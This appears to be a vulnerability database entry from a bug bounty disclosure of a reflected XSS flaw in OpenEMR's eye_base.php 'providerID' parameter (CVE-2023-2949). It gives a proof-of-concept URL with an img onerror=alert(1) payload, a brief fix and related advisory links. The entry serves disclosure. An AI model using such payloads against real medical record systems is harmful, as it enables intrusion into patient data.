Lucene search
Tsarsecurity3842486F-38B1-4150-9F78-B81D0AE580C4HistoryMar 30, 2023 - 11:18 p.m.
Reflected XSS in interface/forms/eye_mag/js/eye_base.php
2023-03-3023:18:33
tsarsecurity
www.huntr.dev
15
reflected xss
eye mag
interface forms
providerid
sanitization
bug bounty
EPSS
0.005
Percentile
76.8%
Description
There exist a reflected XSS in /interface/forms/eye_mag/js/eye_base.php in the ‘providerID’ parameter.
Proof of Concept
http://openemr.local/interface/forms/eye_mag/js/eye_base.php?providerID=%3Cimg%20src=x%20onerror=alert(1);%3E
fix
properly sanitize the providerID parameter.
Related
prion
prion
Cross site scripting
2023-05-28 04:15:00
cve
cve
CVE-2023-2949
2023-05-28 04:15:13
cvelist
cvelist
CVE-2023-2949 Cross-site Scripting (XSS) - Reflected in openemr/openemr
2023-05-28 00:00:00
osv
osv
CVE-2023-2949
2023-05-28 04:15:13
nvd
nvd
CVE-2023-2949
2023-05-28 04:15:13
nuclei
nuclei
OpenEMR < 7.0.1 - Cross-site Scripting
2024-04-23 13:22:45
openvas
openvas
OpenEMR < 7.0.1 Multiple Vulnerabilities
2023-05-10 00:00:00